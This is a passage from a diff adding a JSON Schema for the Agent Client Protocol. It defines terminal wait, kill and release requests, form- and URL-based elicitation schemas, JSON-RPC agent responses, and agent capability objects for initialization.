"type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "terminalId"], + "x-side": "client", + "x-method": "terminal/release" + }, + "WaitForTerminalExitRequest": { + "description": "Request to wait for a terminal command to exit.", + "type": "object", + "properties": { + "sessionId": { + "description": "The session ID for this request.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "terminalId": { + "description": "The ID of the terminal to wait for.", + "allOf": [ + { + "$ref": "#/$defs/TerminalId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "terminalId"], + "x-side": "client", + "x-method": "terminal/wait_for_exit" + }, + "KillTerminalRequest": { + "description": "Request to kill a terminal without releasing it.", + "type": "object", + "properties": { + "sessionId": { + "description": "The session ID for this request.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "terminalId": { + "description": "The ID of the terminal to kill.", + "allOf": [ + { + "$ref": "#/$defs/TerminalId" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["sessionId", "terminalId"], + "x-side": "client", + "x-method": "terminal/kill" + }, + "CreateElicitationRequest": { + "description": "Request from the agent to elicit structured user input.\n\nThe agent sends this to the client to request information from the user,\neither via a form or by directing them to a URL.\nElicitations are tied to a session (optionally a tool call) or a request.", + "type": "object", + "properties": { + "message": { + "description": "A human-readable message describing what input is needed.", + "type": "string" + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "anyOf": [ + { + "description": "Form-based elicitation where the client renders a form from the provided schema.", + "type": "object", + "properties": { + "mode": { + "type": "string", + "const": "form" + } + }, + "required": ["mode"], + "allOf": [ + { + "$ref": "#/$defs/ElicitationFormMode" + } + ] + }, + { + "description": "URL-based elicitation where the client directs the user to a URL.", + "type": "object", + "properties": { + "mode": { + "type": "string", + "const": "url" + } + }, + "required": ["mode"], + "allOf": [ + { + "$ref": "#/$defs/ElicitationUrlMode" + } + ] + }, + { + "title": "other", + "description": "Custom or future elicitation mode.\n\nValues beginning with `_` are reserved for implementation-specific\nextensions. Unknown values that do not begin with `_` are reserved for\nfuture ACP variants.\n\nClients that do not understand this mode should preserve the raw payload\nwhen storing, replaying, proxying, or forwarding elicitation requests.\nThey MUST NOT render it as a known elicitation mode.", + "type": "object", + "properties": { + "mode": { + "description": "Custom or future elicitation mode.\n\nValues beginning with `_` are reserved for implementation-specific\nextensions. Unknown values that do not begin with `_` are reserved for\nfuture ACP variants.", + "type": "string" + } + }, + "required": ["mode"], + "anyOf": [ + { + "title": "Session", + "description": "Tied to a session, optionally to a specific tool call within that session.", + "allOf": [ + { + "$ref": "#/$defs/ElicitationSessionScope" + } + ] + }, + { + "title": "Request", + "description": "Tied to a specific JSON-RPC request outside of a session\n(e.g., during auth/configuration phases before any session is started).", + "allOf": [ + { + "$ref": "#/$defs/ElicitationRequestScope" + } + ] + } + ], + "unevaluatedProperties": true, + "not": { + "anyOf": [ + { + "type": "object", + "properties": { + "mode": { + "type": "string", + "const": "form" + } + }, + "required": ["mode"] + }, + { + "type": "object", + "properties": { + "mode": { + "type": "string", + "const": "url" + } + }, + "required": ["mode"] + } + ] + } + } + ], + "required": ["message"], + "x-side": "client", + "x-method": "elicitation/create" + }, + "ElicitationSessionScope": { + "description": "Session-scoped elicitation, optionally tied to a specific tool call.\n\nWhen `tool_call_id` is set, the elicitation is tied to a specific tool call.\nThis is useful when an agent receives an elicitation from an MCP server\nduring a tool call and needs to redirect it to the user.", + "type": "object", + "properties": { + "sessionId": { + "description": "The session this elicitation is tied to.", + "allOf": [ + { + "$ref": "#/$defs/SessionId" + } + ] + }, + "toolCallId": { + "description": "Optional tool call within the session.\n\nOptional. Omitted and `null` are equivalent and mean the elicitation is scoped to the\nsession without a specific tool call.", + "anyOf": [ + { + "$ref": "#/$defs/ToolCallId" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + } + }, + "required": ["sessionId"] + }, + "ElicitationRequestScope": { + "description": "Request-scoped elicitation, tied to a specific JSON-RPC request outside of a session\n(e.g., during auth/configuration phases before any session is started).", + "type": "object", + "properties": { + "requestId": { + "description": "The request this elicitation is tied to.", + "allOf": [ + { + "$ref": "#/$defs/RequestId" + } + ] + } + }, + "required": ["requestId"] + }, + "ElicitationSchema": { + "description": "Type-safe elicitation schema for requesting structured user input.\n\nThis represents a JSON Schema object with primitive-typed properties,\nas required by the elicitation specification.", + "type": "object", + "properties": { + "type": { + "description": "Type discriminator. Always `\"object\"`.", + "x-deserialize-default-on-error": true, + "default": "object", + "allOf": [ + { + "$ref": "#/$defs/ElicitationSchemaType" + } + ] + }, + "title": { + "description": "Optional title for the schema.\n\nOptional. Omitted and `null` are equivalent and mean no title is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "properties": { + "description": "Property definitions (must be primitive types).", + "type": "object", + "default": {}, + "additionalProperties": { + "$ref": "#/$defs/ElicitationPropertySchema" + } + }, + "required": { + "description": "List of required property names.\n\nOptional. Omitted and `null` are equivalent and mean no property names are required.", + "type": ["array", "null"], + "items": { + "type": "string" + } + }, + "description": { + "description": "Optional description of what this schema represents.\n\nOptional. Omitted and `null` are equivalent and mean no schema description is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "ElicitationSchemaType": { + "description": "Type discriminator for elicitation schemas.", + "oneOf": [ + { + "description": "Object schema type.", + "type": "string", + "const": "object" + } + ] + }, + "ElicitationPropertySchema": { + "description": "Property schema for elicitation form fields.\n\nEach variant corresponds to a JSON Schema `\"type\"` value.\nSingle-select enums use the `String` variant with `enum` or `oneOf` set.\nMulti-select enums use the `Array` variant.", + "anyOf": [ + { + "description": "String property (or single-select enum when `enum`/`oneOf` is set).", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "string" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/StringPropertySchema" + } + ] + }, + { + "description": "Number (floating-point) property.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "number" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/NumberPropertySchema" + } + ] + }, + { + "description": "Integer property.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "integer" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/IntegerPropertySchema" + } + ] + }, + { + "description": "Boolean property.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "boolean" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/BooleanPropertySchema" + } + ] + }, + { + "description": "Multi-select array property.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "array" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/MultiSelectPropertySchema" + } + ] + }, + { + "title": "other", + "description": "Custom or future elicitation property schema.\n\nValues beginning with `_` are reserved for implementation-specific\nextensions. Unknown values that do not begin with `_` are reserved for\nfuture ACP variants.\n\nClients that do not understand this property schema type should preserve\nthe raw schema when storing, replaying, proxying, or forwarding\nelicitation requests. They MUST NOT render it as a known input control.", + "type": "object", + "properties": { + "type": { + "description": "Custom or future elicitation property schema type.\n\nValues beginning with `_` are reserved for implementation-specific\nextensions. Unknown values that do not begin with `_` are reserved for\nfuture ACP variants.", + "type": "string" + } + }, + "required": ["type"], + "not": { + "anyOf": [ + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "string" + } + }, + "required": ["type"] + }, + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "number" + } + }, + "required": ["type"] + }, + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "integer" + } + }, + "required": ["type"] + }, + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "boolean" + } + }, + "required": ["type"] + }, + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "array" + } + }, + "required": ["type"] + } + ] + }, + "additionalProperties": true + } + ] + }, + "StringFormat": { + "description": "String format types for string properties in elicitation schemas.", + "oneOf": [ + { + "description": "Email address format.", + "type": "string", + "const": "email" + }, + { + "description": "URI format.", + "type": "string", + "const": "uri" + }, + { + "description": "Date format (YYYY-MM-DD).", + "type": "string", + "const": "date" + }, + { + "description": "Date-time format (ISO 8601).", + "type": "string", + "const": "date-time" + } + ] + }, + "EnumOption": { + "description": "A titled enum option with a const value, human-readable title, and optional description.", + "type": "object", + "properties": { + "const": { + "description": "The constant value for this option.", + "type": "string" + }, + "title": { + "description": "Human-readable title for this option.", + "type": "string" + }, + "description": { + "description": "Human-readable description.\n\nOptional. Omitted and `null` are equivalent and mean no description is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["const", "title"] + }, + "StringPropertySchema": { + "description": "Schema for string properties in an elicitation form.\n\nWhen `enum` or `oneOf` is set, this represents a single-select enum\nwith `\"type\": \"string\"`.", + "type": "object", + "properties": { + "title": { + "description": "Optional title for the property.\n\nOptional. Omitted and `null` are equivalent and mean no title is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "description": { + "description": "Human-readable description.\n\nOptional. Omitted and `null` are equivalent and mean no description is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "minLength": { + "description": "Minimum string length.\n\nOptional. Omitted and `null` are equivalent and mean there is no minimum length constraint.", + "type": ["integer", "null"], + "format": "uint32", + "minimum": 0 + }, + "maxLength": { + "description": "Maximum string length.\n\nOptional. Omitted and `null` are equivalent and mean there is no maximum length constraint.", + "type": ["integer", "null"], + "format": "uint32", + "minimum": 0 + }, + "pattern": { + "description": "Pattern the string must match.\n\nOptional. Omitted and `null` are equivalent and mean there is no pattern constraint.", + "type": ["string", "null"] + }, + "format": { + "description": "String format.\n\nOptional. Omitted and `null` are equivalent and mean there is no format constraint.", + "anyOf": [ + { + "$ref": "#/$defs/StringFormat" + }, + { + "type": "null" + } + ] + }, + "default": { + "description": "Default value.\n\nOptional. Omitted and `null` are equivalent and mean no default value is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "enum": { + "description": "Enum values for untitled single-select enums.\nOptional. Omitted and `null` are equivalent and mean no untitled single-select choices are\ndeclared by `enum`.", + "type": ["array", "null"], + "items": { + "type": "string" + } + }, + "oneOf": { + "description": "Titled enum options for titled single-select enums.\nOptional. Omitted and `null` are equivalent and mean no titled single-select choices are\ndeclared by `oneOf`.", + "type": ["array", "null"], + "items": { + "$ref": "#/$defs/EnumOption" + } + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "NumberPropertySchema": { + "description": "Schema for number (floating-point) properties in an elicitation form.", + "type": "object", + "properties": { + "title": { + "description": "Optional title for the property.\n\nOptional. Omitted and `null` are equivalent and mean no title is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "description": { + "description": "Human-readable description.\n\nOptional. Omitted and `null` are equivalent and mean no description is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "minimum": { + "description": "Minimum value (inclusive).\n\nOptional. Omitted and `null` are equivalent and mean there is no inclusive lower bound.", + "type": ["number", "null"], + "format": "double" + }, + "maximum": { + "description": "Maximum value (inclusive).\n\nOptional. Omitted and `null` are equivalent and mean there is no inclusive upper bound.", + "type": ["number", "null"], + "format": "double" + }, + "default": { + "description": "Default value.\n\nOptional. Omitted and `null` are equivalent and mean no default value is provided.", + "type": ["number", "null"], + "format": "double", + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "IntegerPropertySchema": { + "description": "Schema for integer properties in an elicitation form.", + "type": "object", + "properties": { + "title": { + "description": "Optional title for the property.\n\nOptional. Omitted and `null` are equivalent and mean no title is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "description": { + "description": "Human-readable description.\n\nOptional. Omitted and `null` are equivalent and mean no description is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "minimum": { + "description": "Minimum value (inclusive).\n\nOptional. Omitted and `null` are equivalent and mean there is no inclusive lower bound.", + "type": ["integer", "null"], + "format": "int64" + }, + "maximum": { + "description": "Maximum value (inclusive).\n\nOptional. Omitted and `null` are equivalent and mean there is no inclusive upper bound.", + "type": ["integer", "null"], + "format": "int64" + }, + "default": { + "description": "Default value.\n\nOptional. Omitted and `null` are equivalent and mean no default value is provided.", + "type": ["integer", "null"], + "format": "int64", + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "BooleanPropertySchema": { + "description": "Schema for boolean properties in an elicitation form.", + "type": "object", + "properties": { + "title": { + "description": "Optional title for the property.\n\nOptional. Omitted and `null` are equivalent and mean no title is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "description": { + "description": "Human-readable description.\n\nOptional. Omitted and `null` are equivalent and mean no description is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "default": { + "description": "Default value.\n\nOptional. Omitted and `null` are equivalent and mean no default value is provided.", + "type": ["boolean", "null"], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "MultiSelectItems": { + "description": "Items for a multi-select (array) property schema.", + "anyOf": [ + { + "description": "Multi-select string items with plain string values.", + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "string" + } + }, + "required": ["type"], + "allOf": [ + { + "$ref": "#/$defs/StringMultiSelectItems" + } + ] + }, + { + "title": "other", + "description": "Custom or future typed multi-select items.", + "type": "object", + "properties": { + "type": { + "description": "Custom or future multi-select item type.\n\nValues beginning with `_` are reserved for implementation-specific\nextensions. Unknown values that do not begin with `_` are reserved for\nfuture ACP variants.", + "type": "string" + } + }, + "required": ["type"], + "not": { + "anyOf": [ + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "string" + } + }, + "required": ["type"] + } + ] + }, + "additionalProperties": true + }, + { + "title": "titled", + "description": "Titled multi-select items with human-readable labels.", + "allOf": [ + { + "$ref": "#/$defs/TitledMultiSelectItems" + } + ] + } + ] + }, + "StringMultiSelectItems": { + "description": "String item schema for multi-select enum properties.", + "type": "object", + "properties": { + "enum": { + "description": "Allowed enum values.", + "type": "array", + "items": { + "type": "string" + } + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["enum"] + }, + "TitledMultiSelectItems": { + "description": "Items definition for titled multi-select enum properties.", + "type": "object", + "properties": { + "anyOf": { + "description": "Titled enum options.", + "type": "array", + "items": { + "$ref": "#/$defs/EnumOption" + } + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["anyOf"] + }, + "MultiSelectPropertySchema": { + "description": "Schema for multi-select (array) properties in an elicitation form.", + "type": "object", + "properties": { + "title": { + "description": "Optional title for the property.\n\nOptional. Omitted and `null` are equivalent and mean no title is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "description": { + "description": "Human-readable description.\n\nOptional. Omitted and `null` are equivalent and mean no description is provided.", + "type": ["string", "null"], + "x-deserialize-default-on-error": true + }, + "minItems": { + "description": "Minimum number of items to select.\n\nOptional. Omitted and `null` are equivalent and mean there is no minimum selection count.", + "type": ["integer", "null"], + "format": "uint64", + "minimum": 0 + }, + "maxItems": { + "description": "Maximum number of items to select.\n\nOptional. Omitted and `null` are equivalent and mean there is no maximum selection count.", + "type": ["integer", "null"], + "format": "uint64", + "minimum": 0 + }, + "items": { + "description": "The items definition describing allowed values.", + "allOf": [ + { + "$ref": "#/$defs/MultiSelectItems" + } + ] + }, + "default": { + "description": "Default selected values.\n\nOptional. Omitted and `null` are equivalent and mean no default selections are provided.", + "type": ["array", "null"], + "items": { + "type": "string" + }, + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nOptional. Omitted and `null` are equivalent and mean no metadata.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["items"] + }, + "ElicitationFormMode": { + "description": "Form-based elicitation mode where the client renders a form from the provided schema.", + "type": "object", + "properties": { + "requestedSchema": { + "description": "A JSON Schema describing the form fields to present to the user.", + "allOf": [ + { + "$ref": "#/$defs/ElicitationSchema" + } + ] + } + }, + "anyOf": [ + { + "title": "Session", + "description": "Tied to a session, optionally to a specific tool call within that session.", + "allOf": [ + { + "$ref": "#/$defs/ElicitationSessionScope" + } + ] + }, + { + "title": "Request", + "description": "Tied to a specific JSON-RPC request outside of a session\n(e.g., during auth/configuration phases before any session is started).", + "allOf": [ + { + "$ref": "#/$defs/ElicitationRequestScope" + } + ] + } + ], + "required": ["requestedSchema"] + }, + "ElicitationId": { + "description": "Unique identifier for an elicitation.", + "type": "string" + }, + "ElicitationUrlMode": { + "description": "URL-based elicitation mode where the client directs the user to a URL.", + "type": "object", + "properties": { + "elicitationId": { + "description": "The unique identifier for this elicitation.", + "allOf": [ + { + "$ref": "#/$defs/ElicitationId" + } + ] + }, + "url": { + "description": "The URL to direct the user to.", + "type": "string", + "format": "uri" + } + }, + "anyOf": [ + { + "title": "Session", + "description": "Tied to a session, optionally to a specific tool call within that session.", + "allOf": [ + { + "$ref": "#/$defs/ElicitationSessionScope" + } + ] + }, + { + "title": "Request", + "description": "Tied to a specific JSON-RPC request outside of a session\n(e.g., during auth/configuration phases before any session is started).", + "allOf": [ + { + "$ref": "#/$defs/ElicitationRequestScope" + } + ] + } + ], + "required": ["elicitationId", "url"] + }, + "ExtRequest": { + "description": "Allows for sending an arbitrary request that is not part of the ACP spec.\nExtension methods provide a way to add custom functionality while maintaining\nprotocol compatibility.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)" + }, + "AgentResponse": { + "description": "A JSON-RPC response object.", + "anyOf": [ + { + "title": "Result", + "description": "A successful JSON-RPC response.", + "type": "object", + "properties": { + "id": { + "description": "The id of the request this response answers.", + "allOf": [ + { + "$ref": "#/$defs/RequestId" + } + ] + }, + "result": { + "description": "Method-specific response data.", + "anyOf": [ + { + "title": "InitializeResponse", + "description": "Successful result returned for a `initialize` request.", + "allOf": [ + { + "$ref": "#/$defs/InitializeResponse" + } + ] + }, + { + "title": "AuthenticateResponse", + "description": "Successful result returned for a `authenticate` request.", + "allOf": [ + { + "$ref": "#/$defs/AuthenticateResponse" + } + ] + }, + { + "title": "LogoutResponse", + "description": "Successful result returned for a `logout` request.", + "allOf": [ + { + "$ref": "#/$defs/LogoutResponse" + } + ] + }, + { + "title": "NewSessionResponse", + "description": "Successful result returned for a `session/new` request.", + "allOf": [ + { + "$ref": "#/$defs/NewSessionResponse" + } + ] + }, + { + "title": "LoadSessionResponse", + "description": "Successful result returned for a `session/load` request.", + "allOf": [ + { + "$ref": "#/$defs/LoadSessionResponse" + } + ] + }, + { + "title": "ListSessionsResponse", + "description": "Successful result returned for a `session/list` request.", + "allOf": [ + { + "$ref": "#/$defs/ListSessionsResponse" + } + ] + }, + { + "title": "DeleteSessionResponse", + "description": "Successful result returned for a `session/delete` request.", + "allOf": [ + { + "$ref": "#/$defs/DeleteSessionResponse" + } + ] + }, + { + "title": "ResumeSessionResponse", + "description": "Successful result returned for a `session/resume` request.", + "allOf": [ + { + "$ref": "#/$defs/ResumeSessionResponse" + } + ] + }, + { + "title": "CloseSessionResponse", + "description": "Successful result returned for a `session/close` request.", + "allOf": [ + { + "$ref": "#/$defs/CloseSessionResponse" + } + ] + }, + { + "title": "SetSessionModeResponse", + "description": "Successful result returned for a `session/set_mode` request.", + "allOf": [ + { + "$ref": "#/$defs/SetSessionModeResponse" + } + ] + }, + { + "title": "SetSessionConfigOptionResponse", + "description": "Successful result returned for a `session/set_config_option` request.", + "allOf": [ + { + "$ref": "#/$defs/SetSessionConfigOptionResponse" + } + ] + }, + { + "title": "PromptResponse", + "description": "Successful result returned for a `session/prompt` request.", + "allOf": [ + { + "$ref": "#/$defs/PromptResponse" + } + ] + }, + { + "title": "ExtMethodResponse", + "description": "Successful result returned by an extension method outside the core ACP method set.", + "allOf": [ + { + "$ref": "#/$defs/ExtResponse" + } + ] + } + ] + } + }, + "required": ["id", "result"] + }, + { + "title": "Error", + "description": "A failed JSON-RPC response.", + "type": "object", + "properties": { + "id": { + "description": "The id of the request this response answers.", + "allOf": [ + { + "$ref": "#/$defs/RequestId" + } + ] + }, + "error": { + "description": "Method-specific error data.", + "allOf": [ + { + "$ref": "#/$defs/Error" + } + ] + } + }, + "required": ["id", "error"] + } + ], + "x-docs-ignore": true + }, + "InitializeResponse": { + "description": "Response to the `initialize` method.\n\nContains the negotiated protocol version and agent capabilities.\n\nSee protocol docs: [Initialization](https://agentclientprotocol.com/protocol/initialization)", + "type": "object", + "properties": { + "protocolVersion": { + "description": "The protocol version the client specified if supported by the agent,\nor the latest protocol version supported by the agent.\n\nThe client should disconnect, if it doesn't support this version.", + "allOf": [ + { + "$ref": "#/$defs/ProtocolVersion" + } + ] + }, + "agentCapabilities": { + "description": "Capabilities supported by the agent.", + "x-deserialize-default-on-error": true, + "default": { + "loadSession": false, + "promptCapabilities": { + "image": false, + "audio": false, + "embeddedContext": false + }, + "mcpCapabilities": { + "http": false, + "sse": false + }, + "sessionCapabilities": {}, + "auth": {} + }, + "allOf": [ + { + "$ref": "#/$defs/AgentCapabilities" + } + ] + }, + "authMethods": { + "description": "Authentication methods supported by the agent.", + "type": "array", + "items": { + "$ref": "#/$defs/AuthMethod" + }, + "default": [], + "x-deserialize-default-on-error": true, + "x-deserialize-skip-invalid-items": true + }, + "agentInfo": { + "description": "Information about the Agent name and version sent to the Client.\n\nNote: in future versions of the protocol, this will be required.", + "anyOf": [ + { + "$ref": "#/$defs/Implementation" + }, + { + "type": "null" + } + ], + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + }, + "required": ["protocolVersion"], + "x-side": "agent", + "x-method": "initialize" + }, + "ProtocolVersion": { + "description": "Protocol version identifier.\n\nThis version is only bumped for breaking changes.\nNon-breaking changes should be introduced via capabilities.", + "type": "integer", + "format": "uint16", + "minimum": 0, + "maximum": 65535 + }, + "AgentCapabilities": { + "description": "Capabilities supported by the agent.\n\nAdvertised during initialization to inform the client about\navailable features and content types.\n\nSee protocol docs: [Agent Capabilities](https://agentclientprotocol.com/protocol/initialization#agent-capabilities)", + "type": "object", + "properties": { + "loadSession": { + "description": "Whether the agent supports `session/load`.", + "type": "boolean", + "default": false, + "x-deserialize-default-on-error": true + }, + "promptCapabilities": { + "description": "Prompt capabilities supported by the agent.", + "x-deserialize-default-on-error": true, + "default": { + "image": false, + "audio": false, + "embeddedContext": false + }, + "allOf": [ + { + "$ref": "#/$defs/PromptCapabilities" + } + ] + }, + "mcpCapabilities": { + "description": "MCP capabilities supported by the agent.", + "x-deserialize-default-on-error": true, + "default": { + "http": false, + "sse": false + }, + "allOf": [ + { + "$ref": "#/$defs/McpCapabilities" + } + ] + }, + "sessionCapabilities": { + "description": "Session lifecycle and prompt capabilities advertised by the agent.", + "x-deserialize-default-on-error": true, + "default": {}, + "allOf": [ + { + "$ref": "#/$defs/SessionCapabilities" + } + ] + }, + "auth": { + "description": "Authentication-related capabilities supported by the agent.", + "x-deserialize-default-on-error": true, + "default": {}, + "allOf": [ + { + "$ref": "#/$defs/AgentAuthCapabilities" + } + ] + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "PromptCapabilities": { + "description": "Prompt capabilities supported by the agent in `session/prompt` requests.\n\nBaseline agent functionality requires support for [`ContentBlock::Text`]\nand [`ContentBlock::ResourceLink`] in prompt requests.\n\nOther variants must be explicitly opted in to.\nCapabilities for different types of content in prompt requests.\n\nIndicates which content types beyond the baseline (text and resource links)\nthe agent can process.\n\nSee protocol docs: [Prompt Capabilities](https://agentclientprotocol.com/protocol/initialization#prompt-capabilities)", + "type": "object", + "properties": { + "image": { + "description": "Agent supports [`ContentBlock::Image`].", + "type": "boolean", + "default": false, + "x-deserialize-default-on-error": true + }, + "audio": { + "description": "Agent supports [`ContentBlock::Audio`].", + "type": "boolean", + "default": false, + "x-deserialize-default-on-error": true + }, + "embeddedContext": { + "description": "Agent supports embedded context in `session/prompt` requests.\n\nWhen enabled, the Client is allowed to include [`ContentBlock::Resource`]\nin prompt requests for pieces of context that are referenced in the message.", + "type": "boolean", + "default": false, + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "McpCapabilities": { + "description": "MCP capabilities supported by the agent", + "type": "object", + "properties": { + "http": { + "description": "Agent supports [`McpServer::Http`].", + "type": "boolean", + "default": false, + "x-deserialize-default-on-error": true + }, + "sse": { + "description": "Agent supports [`McpServer::Sse`].", + "type": "boolean", + "default": false, + "x-deserialize-default-on-error": true + }, + "_meta": { + "description": "The _meta property is reserved by ACP to allow clients and agents to attach additional\nmetadata to their interactions. Implementations MUST NOT make assumptions about values at\nthese keys.\n\nSee protocol docs: [Extensibility](https://agentclientprotocol.com/protocol/extensibility)", + "type": ["object", "null"], + "x-deserialize-default-on-error": true, + "additionalProperties": true + } + } + }, + "SessionCapabilities": { + "description": "Session capabilities supported by the agent.\n\nAs a baseline, all Agents **MUST** support `session/new`, `session/prompt`, `session/cancel`, and `session/update`.\n\nOptionally, they **MAY** support other session methods and notifications by specifying additional capabilities.\n\nNote: `session/load` is still handled by the top-level `load_session` capability. This 